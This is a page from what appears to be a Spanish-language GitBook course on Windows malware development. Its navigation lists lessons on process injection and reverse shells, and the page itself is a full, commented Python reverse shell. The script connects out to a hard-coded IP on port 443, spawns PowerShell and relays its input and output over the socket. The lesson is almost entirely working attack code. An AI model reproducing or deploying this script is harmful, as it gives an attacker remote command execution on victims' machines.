Malware
  • La Biblia del Desarrollo de Malware para Windows
  • Introducción al Malware
    • ¿Qué es el Malware?
    • La Historia del Malware
    • Clasificación del Malware
    • Métodos de Distribución del Malware
  • Los Malwares Más Impactantes de la Historia
    • Stuxnet: El Malware que Destruyó una Planta Nuclear
    • Pegasus: El Malware Espía de Nivel Estatal
  • Introducción al Desarrollo de Malware
    • Herramientas y Lenguajes Más Comunes en el Desarrollo de Malware
    • Lenguajes Recomendados para el Desarrollo de Malware
    • Binarios Famosos de Windows y sus Lenguajes de Desarrollo
    • Fundamentos de compilacion
    • Nuestro primer "Malware"
    • Malware: Del Disco a la Memoria
  • APIs de Windows
    • Windows Internals
    • Windows on Windows (WOW)
    • Bibliotecas DLL en la Tecnología WOW64
    • Win32 APIs: El Corazón del Desarrollo de Software en Windows
      • Componentes Clave de las Win32 APIs
      • Cómo Funcionan las Win32 APIs y su relacion con el Malware
      • Uso de Win32 con C#
    • Kernel32.dll: La Biblioteca Fundamental en el Sistema Operativo Windows
      • VirtualAlloc en C#: Asignación y Gestión de Memoria
      • RtlMoveMemory: Copia de Memoria en Windows
      • CreateThread en C#: Creación y Manejo de Hilos
    • AllocationType y MemoryProtection
    • Windows Registry
  • Shell Reverse
    • Fundamentos de reverse shell
    • Desarrollando Nuestro Primer Simple Reverse Shell via TCP
      • C#
      • PowerShell
      • Python
Powered by GitBook
On this page
  1. Shell Reverse
  2. Desarrollando Nuestro Primer Simple Reverse Shell via TCP

Python

import os, socket, subprocess, threading  # Importa las librerías necesarias para manejo de sockets, subprocess y hilos

# Función para enviar datos desde el socket hacia el proceso (stdin)
def s2p(s, p):
    while True:
        data = s.recv(1024)  # Lee los datos enviados por el servidor a través del socket
        if len(data) > 0:  # Si se reciben datos
            p.stdin.write(data)  # Escribe los datos en la entrada estándar del proceso
            p.stdin.flush()  # Asegura que los datos se envíen inmediatamente

# Función para enviar datos desde el proceso hacia el socket
def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))  # Lee un byte de la salida estándar del proceso y lo envía al servidor

# Crea un socket para la conexión
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("172.27.131.49", 443))  # Se conecta al servidor con la IP y puerto especificado

# Inicia el proceso PowerShell, redirigiendo las salidas y entradas estándar
p = subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

# Crea un hilo para transferir datos del socket al proceso
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True  # Hace que el hilo sea un hilo "demonio", terminando cuando el programa principal termina
s2p_thread.start()  # Inicia el hilo

# Crea un hilo para transferir los datos del proceso al socket
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True  # Hace que este hilo también termine cuando el programa principal termine
p2s_thread.start()  # Inicia el hilo

# Espera a que el proceso termine
try:
    p.wait()
except KeyboardInterrupt:
    s.close()  # Si el usuario interrumpe el proceso, cierra la conexión del socket
PreviousPowerShell

Last updated 5 months ago